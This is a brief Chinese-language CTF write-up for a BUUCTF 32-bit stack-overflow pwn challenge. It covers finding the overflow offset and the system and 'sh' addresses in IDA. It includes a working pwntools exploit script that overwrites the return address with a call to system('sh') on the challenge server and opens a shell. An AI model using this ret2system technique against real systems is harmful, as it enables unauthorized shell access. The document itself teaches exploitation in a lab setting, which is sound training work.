1,三连
思路:栈溢出
2,IDA分析
获取sh的偏移地址0x8048670:
system地址0x08048529
偏移为28:
3,poc
from pwn import *
context.log_level="debug"
r = remote("node4.buuoj.cn",28084)
system=0x08048529
sh=0x8048670
r.recv()
payload = 'a'*28 + p32(system) + p32(sh)
r.sendline(payload)
r.interactive()
注意system地址一个区别:
text:08048529 E8 B2 FE FF FF call _system
---------------对比----------------
.plt:080483E0 FF 25 18 A0 04 08 jmp ds:off_804A018 //system_plt
一开始填了system_plt地址无法getflag:
原因:由于system需要调用构造栈上布局参数,所以必须得通过call来实现ESP的变化匹配栈布局。
完。